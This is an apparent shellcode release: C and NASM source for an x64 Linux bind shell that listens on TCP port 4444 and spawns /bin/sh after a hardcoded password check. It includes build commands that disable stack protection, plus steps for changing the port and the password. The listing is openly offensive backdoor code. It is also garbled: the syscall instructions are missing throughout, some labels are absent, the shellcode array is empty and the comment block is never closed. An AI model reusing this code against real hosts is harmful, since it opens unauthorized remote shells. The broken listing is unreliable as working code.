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TCP Bindshell With Password Prompt Shellcode/*---------------------------------------------------------------------------------------------------------------------
*Title:            tcp bindshell with password prompt in 162 bytes 
*Author:           Sathish kumar
*Description:      x64 Linux bind TCP port shellcode on port 4444 with reconfigurable password
*Tested On:        Ubuntu 14.04 LTS
*Build/Run:        gcc -fno-stack-protector -z execstack bindshell.c -o bindshell
*                   ./bindshell
*                   nc localhost 4444
* NOTE: This C code binds on port 4444 
* The top of this file contains the .nasm source code
* The Port can be Reconfigured According to your needs
* Instructions for changing port number
* Port obtainer change the port value accorddingly
*                       import socket
*                       port = 4444
*                       hex(socket.htons(port))
*                   python 
*                   Result : 0x5c11 
* Replace the obtained value in the shellcode to change the port number
* For building the from .nasm source use
*                   nasm -felf64 filename.nasm -o filename.o
*                   ld filename.o -o filename
* To inspect for nulls
*                   objdump -M intel -D filename.o
global _start
    jmp sock
    prompt: db 'Passcode' ; initilization of prompt data
    ; sock = socket(AF_INET, SOCK_STREAM, 0)
    ; AF_INET = 2
    ; SOCK_STREAM = 1
    ; syscall number 41 
    xor rax, rax    ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
    xor rsi, rsi 
    mul rsi       
    push byte 0x2   ;pusing argument to the stack
    pop rdi         ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
    inc esi         ; already rsi is 0 so incrementing the rsi register will make it 1
    push byte 0x29  ; pushing the syscall number into the rax by using stack
    pop rax
    ; copying the socket descripter from rax to rdi register so that we can use it further 
    xchg rax, rdi
    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)
    ; setting up the data sctructure
    push 0x2                         ;AF_INET value is 2 so we are pushing 0x2
    mov word [rsp + 2],0x5c11        ;port 4444 htons hex value is 0x5c11 port values can be be obtained by following above instructions 
    push rsp                         ; saving the complete argument to rsi register
    pop rsi                          
    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
    ; syscall number 49
    push rdx                        ; Inserting the null to the stack 
    push byte 0x10                  
    pop rdx                         ; value of the rdx register is set to 16 size sockaddr
    push byte 0x31                   
    pop rax                         ; rax register is set with 49 syscall for bind
    ;listen the sockets for the incomming connections    
    ; listen(sock, MAX_CLIENTS)
    ; syscall number 50
    pop rsi
    push 0x32
    pop rax                          ; rax register is set to 50 syscall for listen
    ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
    ;syscall number 43
    push 0x2b
    pop rax                           ; rax register is set to 43 syscall for accept
    ; storing the client socket description
    mov r9, rax
    ; close parent
    push 0x3
    pop rax                            ; closing the parent socket connection using close parent rax is set to 3 syscall to close parent
    xchg rdi , r9
    xor rsi , rsi
    ; initilization of dup2
    push 0x3                           
    pop rsi                             ; setting argument to 3 
    dec esi                            
    mov al, 0x21                       ;duplicate syscall applied to error,output and input using loop
    jne duplicate
                                       ; Prompt for password
    xor rax, rax                      
    inc al                             ; rax register to value 1 syscall for write
    push rax    
    pop rdi                            ; rdi register to value 1
    lea rsi, [rel prompt]
    xor rdx, rdx                       ; xor the rdx register to clear the previous values
    push 0xe
    pop rdx
                                       ; checking the password using read
    push rsp
    pop rsi
    xor rax, rax   ; system read syscall value is 0 so rax is set to 0
    push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded
    pop rax
    lea rdi, [rel rsi]
    scasd           ; comparing the user input and stored password in the stack
    jne Exit
execve:                                      ; Execve format  , execve("/bin/sh", 0 , 0)
     xor rsi , rsi
     mul rsi                                 ; zeroed rax , rdx register 
     push ax                                 ; terminate string with null
     mov rbx , 0x68732f2f6e69622f            ; "/bin//sh"  in reverse order 
     push rbx
     push rsp
     pop rdi                                 ; set RDI
     push byte 0x3b                          ; execve syscall number (59)
     pop rax
     ;Exit shellcode if password is wrong
     push 0x3c
     pop rax        ;syscall number for exit is 60
     xor rdi, rdi 
unsigned char code[] = 
//Port number this can be obtained from the above instrcutions
//Password this can be obtained by
 * python 
 *          password = 'hack' 
 *          (password[::-1]).encode('hex')
 *          Reuslt : 6b636168 
 *  This is stored in reverse beacuse of stack
    printf("Shellcode Length:  %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;

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